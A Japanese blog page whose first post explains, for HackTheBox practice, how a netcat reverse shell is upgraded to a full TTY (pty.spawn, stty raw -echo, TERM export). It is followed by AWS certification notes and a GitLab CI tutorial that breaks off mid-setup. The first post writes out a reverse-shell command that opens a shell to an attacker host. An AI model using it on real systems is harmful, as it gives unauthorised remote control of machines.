リバースシェルを張ってシェルをアップグレードする際、何をやっているのか

だいたい一年ぶりに記事を書いています。

今年はもう少し、記事を書いていきたですね。

この記事では、リバースシェルを張ってシェルをアップグレードする際、一体何をやっているのかについて説明していきたいと思います。 ここでシェルをアップグレードといっているのは、矢印キーでコマンド履歴を参照できたり、tabでコマンドを補完できるようにするということを言っています。

このテーマにしようと思った理由は、最近HackTheBoxというプラットフォームで遊んでいるのですが、その際、リバースシェルを張った後、特に裏側の仕組みを分かっていないままシェルをアップグレードしていたので、このままではマズいと思って記事を書こうと思ったわけです。

まずはコマンドを確認してから、各コマンドの意味を見ていこうと思います!!!

シェルをアップグレードするときに使うコマンド

まずはリバースシェルを準備しましょう。(HackTheBoxだと、まずここまでが大変ですよね笑)

kaliのncを使ってリバースシェルを張るときの場合を考えます。(頑張って対象のマシンに実行させましょう。)

  • マシン側
nc <kali ip> <kali port> -e /bin/bash
  • kali側
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130

その後、自分は下のコマンドを実行しています

 python3 -c "import pty;pty.spawn('/bin/bash')"

そうするとこんな感じになります。

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"    <- 入力
test@test:/var/www/app$ 
  • 以下の手順で、完全なシェルにアップグレードします。

  • Ctrl-Zでバックグラウンドで実行させる

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z  <- Ctrl-Z実行
zsh: suspended  nc -nlvp 4444
  • sttyコマンドを実行後、fgでバックグラウンドで実行していたジョブをフォアグラウンドに戻します。
  • その後、TERMやSHELLなどの環境変数を設定していきます。
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg   <- 入力
[1]  + continued  nc -nlvp 4444
                               export TERM=xterm-256color   <- 入力
test@test:/var/www/app$ export SHELL=bash    <- 入力

stty raw -echo; fgは絶対一行で実行してください。

そうすると完全なインタラクティブなシェルをゲットすることができます!!

また他の方法として、stty raw -echo; fg実行後、resetコマンドを実行する方法もあるようです。 実行すると、Terminal typeが聞かれるので、xterm-256colorを入力します。

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg   <- 入力
[1]  + continued  nc -nlvp 4444
                               reset   <- 入力
reset: unknown terminal type unknown
Terminal type? xterm-256color    <- 入力

それではこのコマンドで何をやっているのでしょうか。分解していきましょう まずはpython3 -c "import pty;pty.spawn('/bin/bash')"についてです。

python3 -c "import pty;pty.spawn('/bin/bash')"

python3 -c

  • -cで指定された文字列をpython3として実行

import pty

  • python3のptyモジュールをインポート
  • docs.python.org
  • ptyモジュールとはなんぞ?
    • 上のリンクの最初にはこう書かれていました
      • pty モジュールは擬似端末(他のプロセスを実行してその制御をしている端末をプログラムで読み書きする)を制御する操作を定義しています。

    • この時点で、疑似端末って何????括弧の中も何言っているかよく分からないとなりました。
    • それでは次に疑似端末を調べていきます
疑似端末とは

擬似端末(ぎじたんまつ、英語: pseudo terminal)または疑似ターミナルとは、UNIXにおけるテキスト端末の擬似デバイスのマスター・スレーブのペアである。仮想コンソール、端末装置、シリアルポートハードウェアなどを使用しないテキスト端末のインターフェイスを提供する。これらのハードウェアの代わりに、擬似端末セッションの役割をソフトウェア(プロセス)が代用する。例えば、SSHなどでログインするとこの端末に接続される。

  • 以下のことが分かったような気がします

    • 擬似端末とはUNIXにおけるテキスト端末の擬似デバイスのマスター・スレーブのペア
    • 例えば、SSHなどでログインするとこの端末に接続される。
  • もう少し調べてみると

  • さらに調査を進める

    • kazmax.zpp.jp
    • このサイトでマスターとスレーブの記述がありました
    • サイトによると
      • プロセスが /dev/ptmx をオープンすると、そのプロセスには 擬似端末マスタ (pseudo-terminal master; PTM) へのファイル・ ディスクリプタが返され、 /dev/pts ディレクトリに擬似端末スレーブ (pseudo-terminal slave; PTS) デバイスが作成される。

      • スレーブに書かれたデータはマスタ・ディスクリプタに対する入力として扱われ、 マスタに書かれたデータはスレーブに対する入力として扱われる。

    • つまり、wikiで書かれていたマスタとスレーブの実体はファイルのことで、スレーブに書かれたデータはマスタの入力になって、マスタに書かれたデータはスレーブの入力になるという認識になりました
  • ここまでのことを実際に確かめてみましょう。スレーブに何かを入力してマスタに何か出力されるか試してみます。

  • /dev/ptsの確認
┌──(kali㉿kali)-[~]
└─$ ls -al /dev/pts
total 0
drwxr-xr-x  2 root root      0 May  1 01:56 .
drwxr-xr-x 17 root root   3240 May  1 02:24 ..
crw-------  1 kali tty  136, 0 May  1 03:32 0
c---------  1 root root   5, 2 May  1 01:56 ptmx
                                                      
  • lsの属性の結果に見慣れないcがありますね
  • どうやらこれは、キャラクタ型デバイスファイルを意味しているようです。
  • c以外何も書かれていませんが、rootで読み込みできるのでしょうか
┌──(root㉿kali)-[/home/kali]
└─# ls -al /dev/pts
total 0
drwxr-xr-x  2 root root      0 May  1 01:56 .
drwxr-xr-x 17 root root   3240 May  1 02:24 ..
crw-------  1 kali tty  136, 0 May  1 03:33 0
crw--w----  1 root tty  136, 1 May  1  2023 1
c---------  1 root root   5, 2 May  1 01:56 ptmx
                                                                                                              
┌──(root㉿kali)-[/home/kali]
└─# cat /dev/pts/ptmx

  • できましたが、何も出力されず、コマンドも終了しません
  • またrootになったら、/dev/pts配下に1というファイルが作成されました。これがrootのスレーブということでしょうか。
  • この/dev/pts/1に何かを書き込んでみます。
┌──(root㉿kali)-[/dev/pts]
└─# echo hoge > /dev/pts/1
  • そうすると確かに同じ文字列が表示されました。
┌──(root㉿kali)-[/home/kali]
└─# cat /dev/pts/ptmx
hoge
  • ここまで、疑似端末がなんであるか大分イメージがつきました。
  • 今までのことを自分の言葉でまとめると以下になりました。

    • 擬似端末とは、sshなどの時に使われるターミナルの入力とシェルのプロセスへの入力を橋渡しするもので、橋渡しにはデバイスファイルを使用している
  • ttyコマンドを使用すると、現在の自分の標準入力に接続されている端末のファイル名が出力されるようです。

┌──(root㉿kali)-[/home/kali]
└─# tty
/dev/pts/1

pty.spawn('/bin/bash')

  • 上記の分かったことから、ここでしていることは、標準入力を/bin/bashに渡す疑似端末を作成していると考えられます。
  • リバースシェルを張るコマンドにもよると思うのですが、ncなどでリバースシェルを張った際はttyコマンドを実行しても以下のようにnot a ttyと帰ってくるため、このような時にまずは疑似端末を作成しているのですね。
└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
tty
not a tty
  • ちなみに、端末が割り当てられていないシェルではsudoが実行できないようです。
  • sudo -lできないと権限昇格の時、きついのでpython3 -c "import pty;pty.spawn('/bin/bash')"はやっぱり必要ですね

まとめると

  • python3 -c "import pty;pty.spawn('/bin/bash')"を実行すると、疑似端末を作成し、それを経由して標準入力を/bin/bashに渡していることが分かります。

Ctrl-Zについて

以下でkali上の端末を設定をするために、一度バックグラウンドで実行するようにしておきます。

stty raw -echoについて

まずはsttyについてです。 どうやらこれは、端末の設定を表示したり、変更するコマンドのようです。

またこのコマンドを実行する事によって、入力をkaliのシェルから被害者マシン側のシェルに切り替えているようです。

いろいろ検索しても、しっくりくる解説がなかったので、sttyのhelpを見てコマンドを解釈していきます。

└─$ stty --help
Usage: stty [-F DEVICE | --file=DEVICE] [SETTING]...
  or:  stty [-F DEVICE | --file=DEVICE] [-a|--all]
  or:  stty [-F DEVICE | --file=DEVICE] [-g|--save]
Print or change terminal characteristics.

Mandatory arguments to long options are mandatory for short options too.
  -a, --all          print all current settings in human-readable form
  -g, --save         print all current settings in a stty-readable form
  -F, --file=DEVICE  open and use the specified DEVICE instead of stdin
      --help     display this help and exit
      --version  output version information and exit

Optional - before SETTING indicates negation.  An * marks non-POSIX
settings.  The underlying system defines which settings are available.

Special characters:
 * discard CHAR  CHAR will toggle discarding of output
   eof CHAR      CHAR will send an end of file (terminate the input)
   eol CHAR      CHAR will end the line
 * eol2 CHAR     alternate CHAR for ending the line
   erase CHAR    CHAR will erase the last character typed
   intr CHAR     CHAR will send an interrupt signal
   kill CHAR     CHAR will erase the current line
 * lnext CHAR    CHAR will enter the next character quoted
   quit CHAR     CHAR will send a quit signal
 * rprnt CHAR    CHAR will redraw the current line
   start CHAR    CHAR will restart the output after stopping it
   stop CHAR     CHAR will stop the output
   susp CHAR     CHAR will send a terminal stop signal
 * swtch CHAR    CHAR will switch to a different shell layer
 * werase CHAR   CHAR will erase the last word typed

Special settings:
   N             set the input and output speeds to N bauds
 * cols N        tell the kernel that the terminal has N columns
 * columns N     same as cols N
 * [-]drain      wait for transmission before applying settings (on by default)
   ispeed N      set the input speed to N
 * line N        use line discipline N
   min N         with -icanon, set N characters minimum for a completed read
   ospeed N      set the output speed to N
 * rows N        tell the kernel that the terminal has N rows
 * size          print the number of rows and columns according to the kernel
   speed         print the terminal speed
   time N        with -icanon, set read timeout of N tenths of a second

Control settings:
   [-]clocal     disable modem control signals
   [-]cread      allow input to be received
 * [-]crtscts    enable RTS/CTS handshaking
   csN           set character size to N bits, N in [5..8]
   [-]cstopb     use two stop bits per character (one with '-')
   [-]hup        send a hangup signal when the last process closes the tty
   [-]hupcl      same as [-]hup
   [-]parenb     generate parity bit in output and expect parity bit in input
   [-]parodd     set odd parity (or even parity with '-')
 * [-]cmspar     use "stick" (mark/space) parity

Input settings:
   [-]brkint     breaks cause an interrupt signal
   [-]icrnl      translate carriage return to newline
   [-]ignbrk     ignore break characters
   [-]igncr      ignore carriage return
   [-]ignpar     ignore characters with parity errors
 * [-]imaxbel    beep and do not flush a full input buffer on a character
   [-]inlcr      translate newline to carriage return
   [-]inpck      enable input parity checking
   [-]istrip     clear high (8th) bit of input characters
 * [-]iutf8      assume input characters are UTF-8 encoded
 * [-]iuclc      translate uppercase characters to lowercase
 * [-]ixany      let any character restart output, not only start character
   [-]ixoff      enable sending of start/stop characters
   [-]ixon       enable XON/XOFF flow control
   [-]parmrk     mark parity errors (with a 255-0-character sequence)
   [-]tandem     same as [-]ixoff

Output settings:
 * bsN           backspace delay style, N in [0..1]
 * crN           carriage return delay style, N in [0..3]
 * ffN           form feed delay style, N in [0..1]
 * nlN           newline delay style, N in [0..1]
 * [-]ocrnl      translate carriage return to newline
 * [-]ofdel      use delete characters for fill instead of NUL characters
 * [-]ofill      use fill (padding) characters instead of timing for delays
 * [-]olcuc      translate lowercase characters to uppercase
 * [-]onlcr      translate newline to carriage return-newline
 * [-]onlret     newline performs a carriage return
 * [-]onocr      do not print carriage returns in the first column
   [-]opost      postprocess output
 * tabN          horizontal tab delay style, N in [0..3]
 * tabs          same as tab0
 * -tabs         same as tab3
 * vtN           vertical tab delay style, N in [0..1]

Local settings:
   [-]crterase   echo erase characters as backspace-space-backspace
 * crtkill       kill all line by obeying the echoprt and echoe settings
 * -crtkill      kill all line by obeying the echoctl and echok settings
 * [-]ctlecho    echo control characters in hat notation ('^c')
   [-]echo       echo input characters
 * [-]echoctl    same as [-]ctlecho
   [-]echoe      same as [-]crterase
   [-]echok      echo a newline after a kill character
 * [-]echoke     same as [-]crtkill
   [-]echonl     echo newline even if not echoing other characters
 * [-]echoprt    echo erased characters backward, between '\' and '/'
 * [-]extproc    enable "LINEMODE"; useful with high latency links
 * [-]flusho     discard output
   [-]icanon     enable special characters: erase, kill, werase, rprnt
   [-]iexten     enable non-POSIX special characters
   [-]isig       enable interrupt, quit, and suspend special characters
   [-]noflsh     disable flushing after interrupt and quit special characters
 * [-]prterase   same as [-]echoprt
 * [-]tostop     stop background jobs that try to write to the terminal
 * [-]xcase      with icanon, escape with '\' for uppercase characters

Combination settings:
 * [-]LCASE      same as [-]lcase
   cbreak        same as -icanon
   -cbreak       same as icanon
   cooked        same as brkint ignpar istrip icrnl ixon opost isig
                 icanon, eof and eol characters to their default values
   -cooked       same as raw
   crt           same as echoe echoctl echoke
   dec           same as echoe echoctl echoke -ixany intr ^c erase 0177
                 kill ^u
 * [-]decctlq    same as [-]ixany
   ek            erase and kill characters to their default values
   evenp         same as parenb -parodd cs7
   -evenp        same as -parenb cs8
 * [-]lcase      same as xcase iuclc olcuc
   litout        same as -parenb -istrip -opost cs8
   -litout       same as parenb istrip opost cs7
   nl            same as -icrnl -onlcr
   -nl           same as icrnl -inlcr -igncr onlcr -ocrnl -onlret
   oddp          same as parenb parodd cs7
   -oddp         same as -parenb cs8
   [-]parity     same as [-]evenp
   pass8         same as -parenb -istrip cs8
   -pass8        same as parenb istrip cs7
   raw           same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip
                 -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost
                 -isig -iuclc -ixany -imaxbel -xcase min 1 time 0
   -raw          same as cooked
   sane          same as cread -ignbrk brkint -inlcr -igncr icrnl
                 icanon iexten echo echoe echok -echonl -noflsh
                 -ixoff -iutf8 -iuclc -ixany imaxbel -xcase -olcuc -ocrnl
                 opost -ofill onlcr -onocr -onlret nl0 cr0 tab0 bs0 vt0 ff0
                 isig -tostop -ofdel -echoprt echoctl echoke -extproc -flusho,
                 all special characters to their default values

Handle the tty line connected to standard input.  Without arguments,
prints baud rate, line discipline, and deviations from stty sane.  In
settings, CHAR is taken literally, or coded as in ^c, 0x37, 0177 or
127; special values ^- or undef used to disable special characters.

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/stty>
or available locally via: info '(coreutils) stty invocation'
                                          

stty raw -echoを実行しているので、関係してくるのは以下です。

   raw           same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip
                 -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost
                 -isig -iuclc -ixany -imaxbel -xcase min 1 time 0
   [-]echo       echo input characters

rawの解説は長くなりそうなので、まずは-echoからです。 sttyでは`-が否定の意味で使われているようで、-echoは入力を表示しないようにするということらしいです。

ためしに-echoなしでやってみます。resetを入力してみた結果です。入力した文字列がそのまま表示されてしまっています。

┌──(kali㉿kali)-[~]
└─$ stty raw ; fg
[1]  + continued  nc -nlvp 4444
                               reresetset^M
reset: unknown terminal type unknown
Terminal type?

それでは最後にrawについてなのですが、helpの内容から現在の端末に以下の設定を設定をしていることが分かります。

-ignbrk  -> ブレーク (break) 文字を無視しない
-brkint  -> ブレークによって割り込みシグナルを発生させない
-ignpar  -> パリティエラーの起こった文字を無視しない
-parmrk -> パリティエラーをマークしない
-inpck  ->入力のパリティチェック機能を有効にしない
-istrip  -> 入力文字の高位ビット (8 番目のビット) をクリアしない
-inlcr  -> 改行 (newline) 文字を復帰 (carriage return) 文字に変換しない
-igncr  -> 復帰文字を無視しない
-icrnl  -> 復帰文字を改行文字に変換しない
-ixon   -> XON/XOFF によるフローコントロールを有効にしない
-ixoff  -> システムの入力バッファが一杯になりかけたとき stop 文字を送り、 再び空になりかけたときに start 文字を送る機能を有効にしない
-icanon  -> erase, kill, werase, rprnt 各特殊文字を有効にしない
-opost  -> プロセス終了後に出力しない
-isig  -> interrupt, quit, suspend 各特殊文字を有効にしない
-iuclc  -> 大文字を小文字に変換しない
-ixany  -> どの文字でも出力を再開できるようにしない (`-ixany' で start 文字のみになる)
-imaxbel  -> 入力バッファが一杯なのに文字が入力されたときには、 ビープ音を発生して入力バッファをフラッシュしないようにしない
-xcase  -> icanon が設定されている場合、 入出力の大文字を対応する小文字に `\' を前置して表示可能にしない
min 1  -> icanonが設定されている場合、読み取り完了時の最小文字数を1文字に設定する
time 0  -> icanonが設定されている場合、読み出しのタイムアウトを10分のN秒に設定する

話が少し変わりまわすが、リバースシェル上で、Ctrl-Cなどを実行するとリバースシェル上のプロセスに対して実行したいのに、kali側の待ち受け側の処理が終了してしまいます。

これはCtrl-Cがkali側にもシグナルを送ってしまうため、このようなことが起きています。

kali上の入力を無効化し、被害者マシンにシグナルを送るようにしているのが、このrawの設定です。

ためしにkaliでstty raw -echoを実行してみます。

┌──(kali㉿kali)-[~]
└─$ stty raw -echo         
                                                                                                              
┌──(kali㉿kali)-[~]
                   └─$ sleep 100     
^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

するとこのように、Ctrl-Cを押しても、プロセスは停止せず、シグナルが送られていない事が分かります。

またstty raw -echoのあと、連続してfgを実行しています これを別々のコマンドで実行すると、シェルのアップグレードに失敗するので注意が必要です。 実際にやってみると

└─$ nc -nlvp 4444   
listening on [any] 4444 ...
connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
python3 -c "import pty;pty.spawn('/bin/bash')"  
test@test:/var/www/app$  ^Z
zsh: suspended  nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo
                                                                                                              
┌──(kali㉿kali)-[~]
                   └─$ fg         
[1]  + continued  nc -nlvp 4444
                               reset^M^M^M^M^M^M^M^M

resetを入力しEnterを押したのですが、sttyコマンドにより、Enterのシグナルが無効化され、被害者マシン側に送られていません。 sttyとfgは同時に実行することによって、kaliの端末への入力の無効化と被害者マシン側へのシェルの切り替えを同時にしているということなのでしょう。なるほどなるほど。

resetについて

sttyのコマンドの後、このコマンドを実行しているサイトもありました。 まずこのコマンドは端末を設定をリセットし、端末を開いた直後と同等の状態にすることができるようです。 実行している理由は不明ですが、とりあえず初期化してみようということ感じでしょうか。

環境変数の設定

TERMとSHELLの二つを設定していました。 二つの変数の意味を調べていきます。

  • TERMについて

  • SHELLについて

    • ログインする際のシェルのパスが設定されている環境変数
  • exportで各環境変数を定義後、/bin/bashなどを実行することによって、環境変数が再読み込みされて、完全なシェルの状態になると思うのですが、exportだけで終わっている記事がたくさんありますね。なんででしょうかね。

おわり

今回のような内容でも詳しく調べていくだけで、かなり時間かかっているので、もう少し軽めの内容を継続して出せるようにしていきたいですね。

AWSの資格勉強メモ(CPE)

  • AWSクラウドラクティショナーの勉強で使ったメモです

  • 公式のサイトにある試験ガイドの付録に載っていたサービスやUdemyの模擬試験などで分からなかったサービスについて少し調べました

aws.amazon.com

www.udemy.com

  • EC2やS3などの有名なサービスは対策本を見て知っていたので書いていません

  • 調べ方雑だけど、一応受かりました(787/1000)

  • やっておいた方がいいと思ったことは以下です

    • AWS Well-Architectedの6つの柱をしっかり理解しておく
    • 色々なサービスを浅く広く知っている

アナリティクス

Amazon Athena

  • SQLを使ってS3からデータの取り出してデータ分析
  • サーバレス
  • Athenaは実行されたクエリに対してのみ料金がかかり、1TB毎に5USD

Amazon Kinesis

  • 大規模なストリーミングデータをリアルタイムで処理する完全マネージド型サービス
  • サーバーレスなクラウド型のBIツール
    • BIツール
      1. データ抽出、加工
      2. データ分析、可視化
      3. ダッシュボード作成、共有、予測

Amazon QuickSight

アプリケーション統合

Amazon Simple Notification Service (Amazon SNS)

  • 発行者から受信者にメッセージを配信するマネージド型サービス
  • 配信方式
    • PUSH式
  • PubSub方式(1対多)
  • 投げて終わり
  • いつ誰に何を投げるかを指定可能
  • 用途は主に通知
    • HTTP,HTTPS,メール,SQS,モバイルプッシュ

Amazon Simple Queue Service (Amazon SQS)

  • 完全マネージドなメッセージキューイングサービス
  • コンシューマがポーリングをしてメッセージを取得
  • 配信方式
    • PULL式
  • 永続性がある
    • ポーリングで取得されるまでキューに存在する
  • P2P(1対1)
  • 用途
    • バッチ処理の分散化や、サーバレスサービスのスケーリング

コンピューティングおよびサーバーレス

AWS Batch

  • ジョブをキューに蓄えて、EC2などの環境で非同期に実行してくれる
  • ジョブには優先度をつけられる
  • cronではない

AWS Elastic Beanstalk

  • アプリケーションのデプロイに付随するインフラストラクチャやリソースの設定を、自動的に処理する
    • ロードバランシング
    • オートスケール
    • ヘルシーチェック
    • など
  • 料金は無料
    • 使用するリソースに料金が掛かる

Amazon Lightsail

  • コンピューティング環境だけでなく、ストレージ、スナップショット、ロードバランサー機能、ファイアウォールDNS機能など、いくつもの機能が揃っている
    • パッケージとして提供されている
  • EC2と比べて柔軟性が少ない
  • 停止していても課金される
  • VPS

Amazon WorkSpace

  • クラウド型のVDIサービス
  • 初期費用が不要、月額(固定料金)or 従量課金

コンテナ

Amazon Elastic Container Service(Amazon ECS)

Amazon Elastic Container Registry (ECR)

Amazon Elastic Kubernetes Service (Amazon EKS)

  • AWS上でk8sを実行できるサービス
  • 特徴
    • 高可用性
      • 複数のAZでインフラを管理
    • セキュリティ
      • 自動でセキュリティパッチを当てることができる
    • オンプレミスのコンテナも管理可能
    • 他のAWSサービスとの統合が簡単

デベロッパー用ツール

AWS CodeBuild

  • ソースコードのビルドサービス
    • ビルドやテスト環境を構築可能
    • buildspec.ymlに作業内容を記載
  • ビルドのアウトプットはS3へ

AWS CodeCommit

  • gitのレポジトリをホストできる
  • push内容を確認できる
  • pullrequestが可能
  • ファイルを保存できる

AWS CodeDeploy

  • デプロイの自動化サービス
  • appsec.yamlに処理内容を記載
  • デプロイ先にエージェントをインストール
  • S3へのアクセス権が必要

AWS CodePipeline

  • Codecommit/CodeBuild/CodeDeployの流れをパイプラインとして定義

    - コミットからデプロイまでを自動化できる

    AWS CodeStar

  • CI環境だけでなく実行環境も含めて一撃で作ることができる

カスタマーエンゲージメント

Amazon Connect

  • コンタクタセンター向けのクラウドプラットフォーム

管理、モニタリング、ガバナンス:

AWS Budgets

  • AWS 使用料金をモニタリングして、ご希望の使用制限を超過するか、超過しそうな場合に通知する最も簡単な方法

Amazon EventBridge (Amazon CloudWatch Events)

  • イベントを通じて様々なアプリケーション同士を簡単に接続できるようにするサービス

AWS License Manager

AWS License Manager でライセンス契約の規約をエミュレートするライセンスルールを作成し、EC2のインスタンスを起動する際にそれらのルールを適用することができる

AWS Secrets Manager

  • データベースの認証情報や、パスワードなどの任意のシークレット情報をAPIコールで取得できるためのAWSサービス

AWS Systems Manager

  • AWS内に構築したAmazon EC2インスタンスなどのリソースを統合的に可視化、管理し、運用オペレーション自動化などの制御を実現するサービス
    • 運用データの一元化
    • パッチ適用

AWS Systems Manager Parameter Store

  • 設定値を保存してくれる場所
  • 環境変数っぽい

セキュリティ、アイデンティティコンプライアンス:

AWS Certificate Manager (ACM)

  • SSL/TLS 証明書のプロビジョニング、管理、デプロイを簡単にするサービス
  • ドメインを管理する Route53 やロードバランサーの ALB、CDN の Cloud Frontにおいて、使うべき証明書のリージョンがそれぞれ異なる
    • Route53 : グローバル(リージョンは関係ない)
    • Cloud Front : グローバル
    • ALB : リージョナル

AWS CloudHSM

  • クラウドベースのハードウェアセキュリティモジュール (HSM)
    • 鍵を保管するハードウェアとして作られたのがHSM
    • さまざまな攻撃から鍵を保護する仕組みが備わっている
  • 暗号化キーを簡単に生成して使用できる

Amazon Cognito

  • ウェブアプリケーションおよびモバイルアプリに素早く簡単にユーザーのサインアップ/サインイン、アクセスコントロールの機能を追加できるサービス
    • 認証
    • 認可
    • ユーザ管理

Amazon Detective

  • 潜在的なセキュリティ問題や不審なアクティビティの根本原因を簡単に分析、調査し、すばやく特定

Amazon GuardDuty

  • AWS環境に対する脅威検知サービス
    • AWS環境のセキュリティを継続的にチェックしてくれる
    • 各種ログを自動的に取得して、機械学習で分析して異常を通知してくれる
    • 使用方法は有効化するだけ

AWS Security Hub

  • 複数のサービスで発生したセキュリティアラートの集約や整理、優先順位付けを行い、一つの管理画面でわかりやすく見ることができる

AWS Security Token Service

  • AWSリソースに対して一時的な認証情報を提供する機能

バックアップ、ストレージ

AWS Backup

  • フルマネージド型のバックアップサービスであり、AWS のサービス、クラウド内、およびオンプレミス間で簡単に一元化およびデータ保護を自動化できる
  • バックアップの一元管理とバックアップアクティビティのモニタリングが可能

AWS Storage Gateway

  • オンプレミスからクラウドストレージに対して事実上無制限のアクセスを提供するハイブリッドストレージサービス

AWS Snowcone

  • エッジコンピューティング、エッジストレージ、およびデータ転送デバイスAWS Snow ファミリーの最も小さなメンバー

ネットワーク

AWS VPN

  • AWSのグローバルネットワークに対して、自社のネットワークやPC、モバイルから仮想の専用通信網を使ってアクセスすることができる

AWS PrivateLink

  • 自分のVPCのNLB配下のWEB等のサービスを、同一リージョン内の他のVPCに公開できるサービス。
  • VPCピアリング等と異なり、IPアドレスレンジの重複等の考慮が不要で、AWS内に閉じた安全なNW接続を実現できる。
  • PrivateLinkは、サービスを公開する側(エンドポイントサービス)と、サービスにアクセスする側(インターフェースエンドポイント)のセットで構成される。

その他

Amazon EMR

AWS Network Firewall

Route 53 Resolver DNS Firewall

  • Route 53 Resolver (別名 Amazon Provided DNS )に対するDNSクエリを精査して、特定のドメイン名に対するクエリをブロックする

AWS Global Accelerater

  • クライアント(PCやスマホ)と、サーバ(ELB配下のWEBとか)の通信時に、AWSが用意するネットワークを通る区間が長くなるため、通常のインターネット経由よりも速くなる。
  • 固定のIPが払い出されるので、それをALBと紐づけることで、結果的にALBに固定IPでアクセスできるようになる。

Amazon EC2 Image Builder

  • 仮想サーバーのイメージ(AMI)の作成、テスト、メンテナンスなどを自動化するパイプラインを作成し、イメージをセキュアで最新に保つ労力を最小化することができる

Visual Studio 2019のプロジェクトをGitlab CI/CDで自動ビルド&Google Testでテストしてみた

前置き

前回の記事からだいぶ時間が経ってしまったですが、最近使っているGitlab CI/CDについてまとめていきたいと思います。 FizzBuzz問題を実行するプロジェクトとそれをテストするプロジェクトを作成して、それらをCI/CDで実行していきます。

Gitlab CI/CDについて

まずは今回の記事のメインになっているGitlab CI/CDについてです。 詳しい中身に入っていく前に、そもそもCI/CDとは何なのかについてさらっと説明します。

CI/CDとは

CI/CDはそれぞれ何の略でどういう意味なのかというと、以下のような感じみたいです。(CDには二つの意味がある)
参考にしたサイトです。

CI ... Continuous Integration(継続的インテグレーション)

ソースコードの変更を頻繁にメインのブランチにマージして、その度にビルドとテストを実行すること。 こうすることで、変更したコード内に実装ミスなどが含まれていた場合、ビルドやテストの段階ですぐに間違いに気が付くことができます。

CD ... Continuous delivery(継続的デリバリー)

自動でビルドやテストが実行されたあと、それらが成功した場合、手動による操作で本番環境にデプロイすること。

CD ... Continuous deployment(継続的デプロイメント)

自動でビルドやテストが実行されたあと、それらが成功した場合、自動で本番環境にデプロイすること。

ちなみに今回の場合、プロジェクトをビルドして実行ファイルを作成するだけなので、CDの部分はないですね。

Gitlab CI/CDの仕組み

次はGitlab CI/CDがどのような仕組みで動いているかの説明です。基本的に以下のイメージだと思っています。

f:id:ssssssh:20210806000121p:plain
Gitlab CI/CDのイメージ
文章で流れを説明していきます。

  1. ユーザがソースコードを編集する。
  2. ユーザが.gitlab-ci.ymlというファイルをレポジトリのルート直下に配置して、そのファイルにCIを実行したい環境の情報やその環境で実行したいコマンドを記述しておく。
  3. その後ユーザがリモートのブランチにgit pushを実行する。
  4. Gitlab Serverにソースコードと.gitlab-ci.ymlの情報が送られる。
  5. Gitlab ServerはGitlab Runnerにそれらの情報を送り、Gitlab Runnerが.gitlab-ci.ymlの内容を実行していく。

流れは上のような感じなのですが、Gitlab Runnerには二つの種類があります。それが図にも書いてるShared RunnerSpecific Runnerで、それぞれの説明は以下です。

  • Shared Runner

    • Gilabのサーバ上でCIを実行する方式。
    • 指定した環境をこのサーバ上で構築していくため遅い。
  • Specific Runner

    • ユーザがCIを実行する環境を自分で用意する方式。
    • CIを実行したいい環境でGitlab Runnerの実行ファイルをインストールする必要がある。
    • Sharedより早く実行される

それぞれどのように.gitlab-ci.ymlで指定するかはもう少し後で説明します。次からCIを実行するための準備に入っていきます。

全体の作業の流れ

全体の作業の流れは以下のような感じです。

  1. Gitlabでレポジトリ作成 & クローン
  2. Visual Studio 2019でプロジェクト作成 & コード追加 & .gitlab-ci.yml追加
  3. レポジトリにプッシュ

こうすることでレポジトリにプッシュした段階でGitlab Runner上で.gitlab-ci.ymlの内容が実行されます。

Gitlab側の準備

まずはアカウントを持っていない人は作成していただいてログインしてください。その後「New project」→「Create blank project」の順でクリックしてください。そうするとレポジトリの情報を設定できる画面になると思うので、お好きに設定してください。

f:id:ssssssh:20210806131205p:plain
レポジトリ情報入力画面

そのあとはgitコマンドを使ってクローンしてください。gitコマンドをインストールしていない人はインストールしてください。

prog-8.com

Gitlabのレポジトリのページの「Clone」をクリックしてClone with HTTPSのところをコピーしてください。その後コマンドプロンプトでお好きなディレクトリに移動してからgit clone の後にコピーしたurlを貼り付けて実行してください。

git clone <レポジトリのURL>

次はVisual Studio 2019側の準備です。

Visual Studio 2019側の準備

メインのプロジェクトを作成

 まずは自動ビルドの対象となるプロジェクトを作成します。Visual Studio 2019を起動したら、「新しいプロジェクトの作成」をクリックして、次に「空のプロジェクト」を指定します。その後プロジェクト名をci_sampleと入力し、場所をレポジトリをクローンしてきたディレクトに指定します。そうすると以下のような画面が出てくると思います。

f:id:ssssssh:20210803234330p:plain
プロジェクト作成後の画面

実際にソースコードを作成する前にまず.gitignoreファイルを作成します。.gitignoreファイルとはgitによる追跡から特定のファイルを除外するための設定を書き込むファイルです。Visual Studioでプロジェクトを作成するといろいろなファイルが作成されるのですが、実際のビルドに関係が無いファイルや余計な情報などをレポジトリに含めないためにこのファイルを作成します。一から書いていくのは大変なので下のサイトを使います。

www.toptal.com

